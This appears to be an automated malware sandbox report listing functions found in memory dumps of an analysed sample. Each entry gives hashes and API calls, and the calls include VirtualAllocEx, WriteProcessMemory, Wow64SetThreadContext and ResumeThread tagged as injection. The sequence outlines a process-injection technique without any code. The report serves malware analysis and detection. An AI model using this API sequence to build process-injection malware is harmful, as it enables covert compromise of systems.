Opcode Fuzzy Hash: 645549bc992bb9f9e69e7a14cf0af56c847d347a2c5d04d2a433ec18f1146d64
Instruction Fuzzy Hash: BCE1DDF5B2021ACFCB18DF78D8586AE7BE6BF89610B154469E406DB3A1DF70CC418B90

Function 02B6CFF1 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02B6D07E
GetCurrentThread.KERNEL32 ref: 02B6D0BB
GetCurrentProcess.KERNEL32 ref: 02B6D0F8
GetCurrentThreadId.KERNEL32 ref: 02B6D151

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 42b144b4251c017fabd5fc0b955df93284e8151e04b7bbd4dbfcab9e02d7c8c9
Instruction ID: f51219a0683e54c4dcc517f56065e315105bdbc2b02db7f678890b7e6b0836a4
Opcode Fuzzy Hash: 42b144b4251c017fabd5fc0b955df93284e8151e04b7bbd4dbfcab9e02d7c8c9
Instruction Fuzzy Hash: 825159B0900349CFDB14DFA9C688BAEBBF1EF48314F248459E419A7290DB785984CF65

Function 02B6D000 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02B6D07E
GetCurrentThread.KERNEL32 ref: 02B6D0BB
GetCurrentProcess.KERNEL32 ref: 02B6D0F8
GetCurrentThreadId.KERNEL32 ref: 02B6D151

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d2b9375c58bc0580b5b3fdc7738acccc8c7e2da335fc508d7e9eedde4473501a
Instruction ID: 92e7ea00341f98c3b220a912df79cc9a0b7bbdd5f62fbc07bc56d6574dcd9e60
Opcode Fuzzy Hash: d2b9375c58bc0580b5b3fdc7738acccc8c7e2da335fc508d7e9eedde4473501a
Instruction Fuzzy Hash: 965169B09003499FDB14DFA9CA88BAEBBF5EF48314F208459E419A7390DB785984CF65

Function 072513C4 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07251606

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9a4d1b31d8e70aa5b68bb2f16de7e3dfe993716793564c097822211195f346ca
Instruction ID: 2a88ab91f370d327851ce91cd52ff9e4ea68110079a9ba0efe7a6bd5cee6ef8a
Opcode Fuzzy Hash: 9a4d1b31d8e70aa5b68bb2f16de7e3dfe993716793564c097822211195f346ca
Instruction Fuzzy Hash: 02A14BB1D1021EDFDF24CFA8C941BADBBB2BF48310F148569E809A7250DB749995CF91

Function 072513D0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07251606

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: aa4b676205068d97bb7338269f535e3406617771f7c41a13488651f3251121e6
Instruction ID: 739aed0d3ae3172272b5df176a0d222a102613f5d1ba57f82ac0c0e2410081ea
Opcode Fuzzy Hash: aa4b676205068d97bb7338269f535e3406617771f7c41a13488651f3251121e6
Instruction Fuzzy Hash: 7D914BB1D1021ECFDF24CF68C841BAEBBB6BF48310F148569E809A7290DB749995CF91

Function 02B6AD68 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02B6AFBE

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4063f03838e0a3d1155d9f12032a4ba46b37b52c4389c82c249c687974a97a93
Instruction ID: d01505ac821ea1775f8347f072a82a3fac71494867ee183cae8a0ba109e06551
Opcode Fuzzy Hash: 4063f03838e0a3d1155d9f12032a4ba46b37b52c4389c82c249c687974a97a93
Instruction Fuzzy Hash: 467149B0A00B058FDB64DF69D04476ABBF2FF48304F10896ED486E7A40DB39E949CB91

Function 0723F8B0 Relevance: 1.6, Strings: 1, Instructions: 368
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'fq, xrefs: 0723FDC0

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 577f389b7f825c6832b46c65253dea4d32c4110a33c803c93a0083e0ea8b1e4c
Instruction ID: 92c5e3d14bd367350194d51c13994215b8938717b531ddab731c54056b8490a8
Opcode Fuzzy Hash: 577f389b7f825c6832b46c65253dea4d32c4110a33c803c93a0083e0ea8b1e4c
Instruction Fuzzy Hash: 4FE16EB4E10209DFCB45EFB8D594BAEBBB2FB88300F158069E905A7354DB319D81DB51

Function 02B644B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02B659C9

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2c12c952f39f58b844e42dfc68fef342af352a59f81ed146d1278fdbf954a5eb
Instruction ID: b695ef2cf0daa13d4e373b4510fc5452338b06b367c6b4367c402e07cf73ff0a
Opcode Fuzzy Hash: 2c12c952f39f58b844e42dfc68fef342af352a59f81ed146d1278fdbf954a5eb
Instruction Fuzzy Hash: 5E41C1B0C0071DCBDB24DFA9C988B9EBBB5FF48304F6081AAD408AB251DB756945CF90

Function 02B6590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02B659C9

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 23de699d388a7486f6a52306b018640a1d3c7a31cad683efb9483bcdf5ba55c4
Instruction ID: 1a2a8e957a1625011342d3faf3eb98c81d36822c1ccfdc759d4f3ffd2c140487
Opcode Fuzzy Hash: 23de699d388a7486f6a52306b018640a1d3c7a31cad683efb9483bcdf5ba55c4
Instruction Fuzzy Hash: 1C41E2B1C00719CBDB24DFA9C984BDEBBB5FF48304F6085AAD408AB251DB756949CF50

Function 07251141 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 072511D8

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fd7d68d9a20950102fa77ebaa66ca291eccae4a2f4fcedf406c4f38f7d2954c3
Instruction ID: d4150f0eec723f419e3cff754350c7df16e86a9c41d9135be5cc9c2c51d7f16d
Opcode Fuzzy Hash: fd7d68d9a20950102fa77ebaa66ca291eccae4a2f4fcedf406c4f38f7d2954c3
Instruction Fuzzy Hash: EF2139B19103099FDB10CFA9C945BDEBBF5FF48310F10842AE918A7240C778A954DBA1

Function 07251148 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 072511D8

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: dc7825383a39165413d15aa80a68f3749e0a3bae99c0722068fc068442f50607
Instruction ID: e5f425aae5ee888d76b0aae22701f34b7a85d631f5b0b8cd68d55922eb161cb5
Opcode Fuzzy Hash: dc7825383a39165413d15aa80a68f3749e0a3bae99c0722068fc068442f50607
Instruction Fuzzy Hash: 6E212AB191030D9FDB10CFA9C985BDEBBF5FF48310F10842AE918A7240C7789554DBA0

Function 07250B70 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07250BF6

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 26efb116ec5b07bfac6036e083aaeb2a662b47fa3d74f6879e0386354d6454b3
Instruction ID: db56e0589bc0d0c163d3f1819b73bbc6275e4e79d1b2180da27dbd56393467a6
Opcode Fuzzy Hash: 26efb116ec5b07bfac6036e083aaeb2a662b47fa3d74f6879e0386354d6454b3
Instruction Fuzzy Hash: 062137B6D102098FDB10DFAAC985BEEBBF4AF48324F14842AD459A7241C7789645CFA1

Function 07251230 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 072512B8

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1a5cd40e482ffc9ca01c626317931f31f80db8c1a72b66a74a729d637ba37446
Instruction ID: 25616e9a5a99f554ab3eb27ea436576f589acadf2fccec4114afab28fd5394b2
Opcode Fuzzy Hash: 1a5cd40e482ffc9ca01c626317931f31f80db8c1a72b66a74a729d637ba37446
Instruction Fuzzy Hash: 2B2136B1D00219DFDB10CFA9C985BEEBBF5FF48320F14842AE958A7250C7389540DBA0

Function 07250B78 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07250BF6

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8935128254db0e444545a5a1a0ff559a46b3b287a8bff97b6719fcc66f0b50b6
Instruction ID: 1868c702ea713041fdff198557475e4a518ad498d096755eaf1cd5d483b0cfe3
Opcode Fuzzy Hash: 8935128254db0e444545a5a1a0ff559a46b3b287a8bff97b6719fcc66f0b50b6
Instruction Fuzzy Hash: 3E2129B1D103098FDB20DFAAC985BEEBBF4EF48324F14842AD559A7241C7789945CFA1

Function 07251238 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 072512B8

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3f324f43d14621554617c40d19f3f2af5f91d4eb16344dcc709d1b73f1c0d74f
Instruction ID: 0c4549dd8fefeed4baf635920fd3e66ab9790d539cff172651a9bb3ca36158da
Opcode Fuzzy Hash: 3f324f43d14621554617c40d19f3f2af5f91d4eb16344dcc709d1b73f1c0d74f
Instruction Fuzzy Hash: 572128B19003599FDB10CFAAC881ADEBBF5FF48320F10842AE918A7250C7789540DBA1

Function 02B6D650 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02B6D6D7

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 02271d125a0a84f1f76853f3509effed76711556e92aa26041faaf29b5411117
Instruction ID: 8ee31b25df79b3348bc3c64840ede8c7f66b0f7957b2ea49cc72fb8773ea2e94
Opcode Fuzzy Hash: 02271d125a0a84f1f76853f3509effed76711556e92aa26041faaf29b5411117
Instruction Fuzzy Hash: F621E4B59012099FDB10CF9AD984ADEBBF8FB48324F14805AE918A7310C378A944DF64

Function 02B6D648 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02B6D6D7

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6988ed942bdc4f541d7c8092b3e74e93b89e4cf1a765919b475746d7ec08cfa0
Instruction ID: f32f812c0f0f378079b2c1a9b0ffa0f419889b2b8c5b8c26dcbbee699c2248db
Opcode Fuzzy Hash: 6988ed942bdc4f541d7c8092b3e74e93b89e4cf1a765919b475746d7ec08cfa0
Instruction Fuzzy Hash: B32112B5D00209DFDB10CFAAD584AEEBBF5FB48324F24845AE918A3310C378A944DF60

Function 07234FDF Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

@, xrefs: 07235107

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 82e7472aca80414781f222ba472823b46244ef3d4fa5340942e8333a308887a0
Instruction ID: cfbe6e87185a71658c71c95077aa3cb2f579829d5536ce99e9b66ab19743ecb1
Opcode Fuzzy Hash: 82e7472aca80414781f222ba472823b46244ef3d4fa5340942e8333a308887a0
Instruction Fuzzy Hash: 77E180B4E152198FDB60CFA9C980B9DBBF2FB49314F1491AAD818E7345D7319A82CF50

Function 07251081 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 072510F6

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ac0616490ef492bb95d9a7232911be6506f318553867b24dfafca0ce4b9f52c3
Instruction ID: 4965fa50531a23e68bbd52515857ab580cb2cf3e385ff0378d43d9fbec62c4d3
Opcode Fuzzy Hash: ac0616490ef492bb95d9a7232911be6506f318553867b24dfafca0ce4b9f52c3
Instruction Fuzzy Hash: 211144B69002498FCB10DFA9C945BEEBBF5EF48324F24881AE919A7250C775A544DFA0

Function 07251088 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 072510F6

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a63f9e774d3333b0209a4ad86f693c816571d02f34849cc75ecc5391676e4b3d
Instruction ID: 459c5576cb0e199e6959405c9728afbc05402abb681f4a554784e3699407f4ba
Opcode Fuzzy Hash: a63f9e774d3333b0209a4ad86f693c816571d02f34849cc75ecc5391676e4b3d
Instruction Fuzzy Hash: 9A1167B19002499FCB10DFAAC845BDEBFF5EF88320F20881AE919A7250C775A540DFA0

Function 07250689 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 072506F2

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 941b19605e93170242ce70ad2d089f19b96096e847f53c7473c43806312400c5
Instruction ID: d0c8224334b307aa4df7090c10cc112cd68b4920605e1a13d4d5c07a1d32e685
Opcode Fuzzy Hash: 941b19605e93170242ce70ad2d089f19b96096e847f53c7473c43806312400c5
Instruction Fuzzy Hash: B4116AB1D003498FDB24DFAAC8457AEFBF4EF88324F24841AD419A7240C775A540CF90

Function 07250690 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 072506F2

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 489fc0a6f9c3dbf56a69f14db6341ec919fcb1757cc1f5028f0e7f163ed3ce02
Instruction ID: dabdd4b0062980d2b4be86f888fa091e2a15ad276c69040f2adbbb7d37b63505
Opcode Fuzzy Hash: 489fc0a6f9c3dbf56a69f14db6341ec919fcb1757cc1f5028f0e7f163ed3ce02
Instruction Fuzzy Hash: 3A113AB1D003498FDB20DFAAC8457AEFBF5EF88324F24841AD519A7240C775A544CF91

Function 07254A20 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07254A85

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ee7ec20c01f3396a46d9fa0a86540f39074f46ddf0b000d611fc56bc63487740
Instruction ID: 5d8a99621b25d33adb492f052f9da44a8e549914057d9b187cba394ed3b0d500
Opcode Fuzzy Hash: ee7ec20c01f3396a46d9fa0a86540f39074f46ddf0b000d611fc56bc63487740
Instruction Fuzzy Hash: BD11D4B58103499FDB10DF99C945BDEBBF8EB48324F24841AD958A7600C375A544CFA5

Function 02B6AF58 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02B6AFBE

Memory Dump Source

Source File: 00000009.00000002.1838568790.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2b60000_fahKSvwo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f0380e167684c57105ed82d8dbd63de8d7676e21dda4ef058bd31987dd09b80a
Instruction ID: 32e82a03a52043694ba67281a1285d872b558a97a9ab7ded0c4983b703fc072b
Opcode Fuzzy Hash: f0380e167684c57105ed82d8dbd63de8d7676e21dda4ef058bd31987dd09b80a
Instruction Fuzzy Hash: B211E0B6C002498FDB10CF9AD548ADEFBF4EF88328F14845AD419B7610C379A545CFA1

Function 07254A28 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07254A85

Memory Dump Source

Source File: 00000009.00000002.1843390514.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7250000_fahKSvwo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: bc298b5dba16607f0b9e3b236982e13141f68fac0e7aeaa08b94e35ab0311fba
Instruction ID: bfc3d9452c53c4b92a3d9289533dd323ce683878787133ef1bff5635321a0e73
Opcode Fuzzy Hash: bc298b5dba16607f0b9e3b236982e13141f68fac0e7aeaa08b94e35ab0311fba
Instruction Fuzzy Hash: DD11D3B58003499FDB10DF9AC985BDEFBF8FB48324F20841AE958A7610C375A584CFA5

Function 07233D9E Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

LRfq, xrefs: 07233E1A

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: LRfq
API String ID: 0-2333822924
Opcode ID: 39ba2cf6f6d0857980b5c5d0ec57887b82dbcb70214b1c693bce70a832476663
Instruction ID: eb64b3828812dbb820dc8620977c3533316e9d4dd5204467d4262ba424052350
Opcode Fuzzy Hash: 39ba2cf6f6d0857980b5c5d0ec57887b82dbcb70214b1c693bce70a832476663
Instruction Fuzzy Hash: 1191E5B4E242099FCB54DFA9C4816ADBBF2FF49310F20856AD819E7345DB319A42CF40

Function 07234894 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

Tefq, xrefs: 07235C51

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 748136cb1c32781436ba35cd17388c7c87a01e7e1b2791b998f6f275ea9dc959
Instruction ID: a3252e88f92ad623cfe477e352ec641e6c1f1616ebc654f5004c98c7d68af696
Opcode Fuzzy Hash: 748136cb1c32781436ba35cd17388c7c87a01e7e1b2791b998f6f275ea9dc959
Instruction Fuzzy Hash: 6E51D2B5B1020A8FCB05DB79988857FBBF7EFC4220B148929E419DB391DF309D058B91

Function 07234428 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

8jq, xrefs: 072344C9

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: 8jq
API String ID: 0-3286795621
Opcode ID: cc32b43e3f4e059e08843e84d8fbb7ffbcf7b58d0c31736fa995b38a430c066b
Instruction ID: cb337ea6946b41e3240d6a402c9ad2582e1e6db05edaeccad2941cf2481e270a
Opcode Fuzzy Hash: cc32b43e3f4e059e08843e84d8fbb7ffbcf7b58d0c31736fa995b38a430c066b
Instruction Fuzzy Hash: BD41F8B4E2120A9FDB44DFA8D5849FEBBB2FB99304F10846AE815A7354DB319D42CF50

Function 0723AC50 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

Tefq, xrefs: 0723AE11

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 137c7eee9bd72e29ff0c378d4337b42fd7aea11ba61c8403c04527caa1256f2b
Instruction ID: 225b299b0c9646389a29ffb01eaf5711fad93d47fe7d552ebae311caf089696c
Opcode Fuzzy Hash: 137c7eee9bd72e29ff0c378d4337b42fd7aea11ba61c8403c04527caa1256f2b
Instruction Fuzzy Hash: 194118B5D242498FDB08CFAAC9557EEBBB6EF89301F14C02AE409AB354DB745945CF40

Function 07234417 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

8jq, xrefs: 072344C9

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: 8jq
API String ID: 0-3286795621
Opcode ID: 2b6ef217371f85461b5d8fd3d10c9bf18c9c56693899a13b91b0d157ac3930c0
Instruction ID: 3e0fe54e0d9cbfe3e6eb3af5d638e3e503d2d5f153993508a7ce771750c03f50
Opcode Fuzzy Hash: 2b6ef217371f85461b5d8fd3d10c9bf18c9c56693899a13b91b0d157ac3930c0
Instruction Fuzzy Hash: 52411AB5E111099FDB44DFA8D8846FEBBB2FB89300F10846AE815A7354DB319D42CF50

Function 0723AC60 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

Tefq, xrefs: 0723AE11

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 6ed0bfa3a7ee3093f0853dacd3c02cf9c164dadd3194c9da404c7597a03903dc
Instruction ID: b665f77c1487c6445f80baf716cc7284d7326f5739463361a444fa961c35881a
Opcode Fuzzy Hash: 6ed0bfa3a7ee3093f0853dacd3c02cf9c164dadd3194c9da404c7597a03903dc
Instruction Fuzzy Hash: 1931C5B4E242498BDB08CFEAC5456EEBBB6FF89300F14D02AD419AB354DB745946CF40

Function 07234EC8 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

E, xrefs: 07234F33

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: 850d968d014460f290d115cf7214975da477d187dac5e2241f35c1e1bc78a675
Instruction ID: 04b6e781d34a32d583e93e01dd7cf88b7f8902942a06c2e533afef2427328a1a
Opcode Fuzzy Hash: 850d968d014460f290d115cf7214975da477d187dac5e2241f35c1e1bc78a675
Instruction Fuzzy Hash: AF31E5F4D1428A8FCF50DFA9C9846EEBBF0AB09214F1486AAD824E7251E7359A41CB51

Function 07235608 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Tefq, xrefs: 07235673

Memory Dump Source

Source File: 00000009.00000002.1843336136.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7230000_fahKSvwo.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: a1b78fbf28bf76ef417411b9a92d9257c0418b5c824f2f3d96c99025eadf0c5c
Instruction ID: 2b92aa5c5354260daf1464257d220f53a5d250d0b6fdf39b81e1efffe5882888
Opcode Fuzzy Hash: a1b78fbf28bf76ef417411b9a92d9257c0418b5c824f2f3d96c99025eadf0c5c
